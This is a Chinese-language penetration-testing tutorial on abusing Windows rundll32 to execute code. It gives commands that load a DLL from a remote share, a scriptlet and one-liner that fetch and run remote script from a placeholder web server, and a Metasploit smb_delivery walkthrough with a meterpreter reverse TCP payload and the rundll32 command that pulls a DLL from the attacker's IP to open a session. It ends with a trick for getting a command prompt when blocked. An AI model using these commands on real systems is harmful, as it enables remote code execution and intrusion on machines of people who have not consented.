Rundll32

rundll32是一个命令行工具,它用来加载和运行32位动态链接库(DLL)文件。DLL文件是一种包含各种功能代码的文件,它们可以被Windows进程和第三方应用程序共享使用。rundll32.exe文件通常位于%systemroot%System32文件夹中。

它有两种调用方法,第一种为直接运行dll:

rundll32 \\webserver\folder\payload.dll,entrypoint

第二种则是编写sct文件:

<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close();  -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
    var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>

然后运行以下命令即可运行:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();

Metasploit

通过Metasploit生成payload可以运行以下命令:

msf6 > use exploit/windows/smb/smb_delivery 
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/smb_delivery) > set lhost 192.168.8.145
lhost => 192.168.8.145
msf6 exploit(windows/smb/smb_delivery) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.8.145:4444 
[*] Server is running. Listening on 0.0.0.0:445
[*] Server started.
[*] Run the following command on the target machine:
msf6 exploit(windows/smb/smb_delivery) > rundll32.exe \\0.0.0.0\CjCdA\test.dll,0

修改IP地址为Kali主机IP,并在Windows主机中运行该条命令即可获取到会话。

rundll32.exe \\192.168.8.145\CjCdA\test.dll,0

获取CMD命令提示符

在运行命令的时候,可能会出现阻止,那么可以下载并解压以下脚本来运行。

# http://didierstevens.com/files/software/cmd-dll_v0_0_4.zip

解压该文件并在该文件中运行以下命令即可获取CMD命令提示符。

rundll32 shell32.dll,Control_RunDLL cmd.dll